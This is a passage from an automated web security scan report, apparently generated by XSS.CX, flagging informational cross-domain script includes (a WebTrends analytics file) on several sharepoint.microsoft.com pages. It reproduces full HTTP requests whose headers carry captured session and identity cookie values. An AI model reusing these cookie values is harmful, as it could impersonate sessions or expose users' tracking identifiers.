Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /businessproductivity/en-us/GetStarted/Pages/how-to-buy.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /businessproductivity/en-us/GetStarted/Pages/how-to-buy.aspx HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft|businessproductivity/en-us/solutions; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293516099:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.r.bos={"d":90,"i":"1312303950134_368327","e":1312909109484}; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/transition-center.aspx","pv":2,"lc":{"d0":{"v":2,"s":true}},"cd":0,"sd":0,"i":0,"l":"en-US"}; msresearch=1; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:57:49&Microsoft.NumberOfVisits=2&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:57:49&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=2&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Mon, 18 Jul 2011 16:58:40 GMT
Last-Modified: Tue, 02 Aug 2011 16:58:40 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
SPRequestGuid: 2b2a76d1-3075-4c10-8792-53d1f09dea8b
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:58:41 GMT
Content-Length: 63485


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="ctl00_Html1" xmlns:o="urn:schemas-microsoft-com:office:office" __expr-val-di
...[SNIP]...
</script>
<script src="http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/wtid.js" type="text/javascript"></script>
...[SNIP]...

2.2. http://sharepoint.microsoft.com/businessproductivity/en-us/GetStarted/Pages/where-to-begin.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /businessproductivity/en-us/GetStarted/Pages/where-to-begin.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /businessproductivity/en-us/GetStarted/Pages/where-to-begin.aspx HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/GetStarted/Pages/how-to-buy.aspx
Cookie: WT_FPC=id=20b4a619ec15c9129a51311327259214:lv=1312294098264:ss=1312293657522; A=I&I=AxUFAAAAAAAKBwAAdXWUADhA25JSNVWis+tmhQ!!; MUID=07A84762A59063DC03DB4555A090635D; MSID=Microsoft.CreationDate=07/22/2011 12:36:13&Microsoft.LastVisitDate=07/22/2011 12:36:22&Microsoft.VisitStartDate=07/22/2011 12:36:13&Microsoft.CookieId=ac11fa37-8f10-42d0-83ff-16cc26c7f5e7&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=2&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0385-6668-8006-3576; MC1=GUID=77ec6960d0e1ff40bfef8b0c56239b53&HASH=6069&LV=20117&V=3; WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/getstarted; _opt_vi_RLWY7DRO=5D945FBB-6638-4BDF-A1AF-09A0EB00612A; _opt_vs_RLWY7DRO=5D945FBB-6638-4BDF-A1AF-09A0EB00612A; _opt_vt_RLWY7DRO=2B0DC7E9A9

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Mon, 18 Jul 2011 17:08:21 GMT
Last-Modified: Tue, 02 Aug 2011 17:08:21 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
SPRequestGuid: da7db1a4-29e6-48da-8778-ccd4f1809214
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 17:08:22 GMT
Content-Length: 63849


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="ctl00_Html1" xmlns:o="urn:schemas-microsoft-com:office:office" __expr-val-di
...[SNIP]...
</script>
<script src="http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/wtid.js" type="text/javascript"></script>
...[SNIP]...

2.3. http://sharepoint.microsoft.com/businessproductivity/en-us/solutions/Pages/productivity-platform.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /businessproductivity/en-us/solutions/Pages/productivity-platform.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /businessproductivity/en-us/solutions/Pages/productivity-platform.aspx HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293462099:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Mon, 18 Jul 2011 16:57:46 GMT
Last-Modified: Tue, 02 Aug 2011 16:57:46 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
SPRequestGuid: f4853c0b-5c8d-4d90-b9c9-fcdec26d585d
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:57:45 GMT
Content-Length: 81852


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="ctl00_Html1" xmlns:o="urn:schemas-microsoft-com:office:office" __expr-val-di
...[SNIP]...
</script>
<script src="http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/wtid.js" type="text/javascript"></script>
...[SNIP]...

2.4. http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Cookie: fsr.a.bos=1312303949334; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Mon, 18 Jul 2011 16:52:34 GMT
Last-Modified: Tue, 02 Aug 2011 16:52:34 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
SPRequestGuid: ace3b420-c2fd-49b4-a494-84daa5393f7a
X-SharePointHealthScore: 0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:52:34 GMT
Content-Length: 72852


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="ctl00_Html1" xmlns:o="urn:schemas-microsoft-com:office:office" __expr-val-di
...[SNIP]...
</script>
<script src="http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/wtid.js" type="text/javascript"></script>
...[SNIP]...

Report generated by XSS.CX at Fri Aug 05 13:04:55 GMT-06:00 2011.